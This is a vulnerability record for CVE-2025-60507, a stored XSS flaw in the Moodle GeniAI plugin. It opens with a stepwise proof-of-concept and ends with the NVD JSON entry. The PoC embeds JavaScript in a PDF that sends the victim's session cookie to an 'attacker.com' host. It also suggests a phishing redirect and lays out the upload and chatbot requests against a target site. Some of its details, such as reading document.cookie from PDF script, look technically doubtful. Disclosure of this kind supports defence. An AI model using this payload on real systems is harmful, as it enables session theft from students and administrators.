CVE-2025-60507

<!-- CVE-2025-60507 PoC: Stored XSS via PDF Upload in Moodle GeniAI Plugin Vulnerability: The plugin outputs unsanitized HTML links to uploaded PDF files --> // Step 1: Create a malicious PDF with embedded JavaScript // Using a tool like PDF-Parser or manual hex editing to inject JS // Example PDF JavaScript payload (to be embedded in PDF): var pdf_xss_payload = ` app.alert("XSS Triggered via CVE-2025-60507"); // Steal session cookies var img = new Image(); img.src = "https://attacker.com/steal?cookie=" + document.cookie; // Or redirect to phishing page // app.launchURL("https://attacker.com/phishing"); `; // Step 2: Upload the malicious PDF via GeniAI plugin as Teacher role // POST request to upload endpoint const uploadRequest = { url: "https://target-moodle.com/local/geniai/upload.php", method: "POST", headers: { "Cookie": "MoodleSession=teacher_session_cookie_here", "Content-Type": "multipart/form-data" }, formData: { "file": "malicious.pdf", // PDF with embedded JS payload "action": "upload", "sesskey": "valid_sesskey" } }; // Step 3: Trigger chatbot to generate link to uploaded file const chatbotRequest = { url: "https://target-moodle.com/local/geniai/chat.php", method: "POST", headers: { "Cookie": "MoodleSession=teacher_session_cookie_here", "Content-Type": "application/x-www-form-urlencoded" }, body: "message=Please summarize the uploaded PDF document&sesskey=valid_sesskey" }; // Step 4: The chatbot response contains unsanitized HTML link: // <a href="https://target-moodle.com/draftfile.php/user/malicious.pdf">View Document</a> // When admin/student clicks, the embedded JS in PDF executes // Step 5: Attacker receives stolen cookies or achieves further compromise // Attacker server receives: GET /steal?cookie=admin_session_value

{"cve": {"id": "CVE-2025-60507", "sourceIdentifier": "[email protected]", "published": "2025-10-21T18:15:36.457", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross site scripting vulnerability in Moodle GeniAI plugin (local_geniai) 2.3.6. An authenticated user with Teacher role can upload a PDF containing embedded JavaScript. The assistant outputs a direct HTML link to the uploaded file without sanitization. When other users (including Students or Administrators) click the link, the payload executes in their browser."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/onurcangnc/moodle_genai_plugin_xss", "source": "[email protected]"}, {"url": "https://moodle.org/plugins/local_geniai", "source": "[email protected]"}, {"url": "https://moodle.org/security/", "source": "[email protected]"}, {"url": "https://onurcangenc.com.tr/posts/moodle-genia%C4%B1-plugin-vulnerability-stored-reflected-xss-via-pdf-upload-and-chatbot-%C4%B1nput/", "source": "[email protected]"}]}}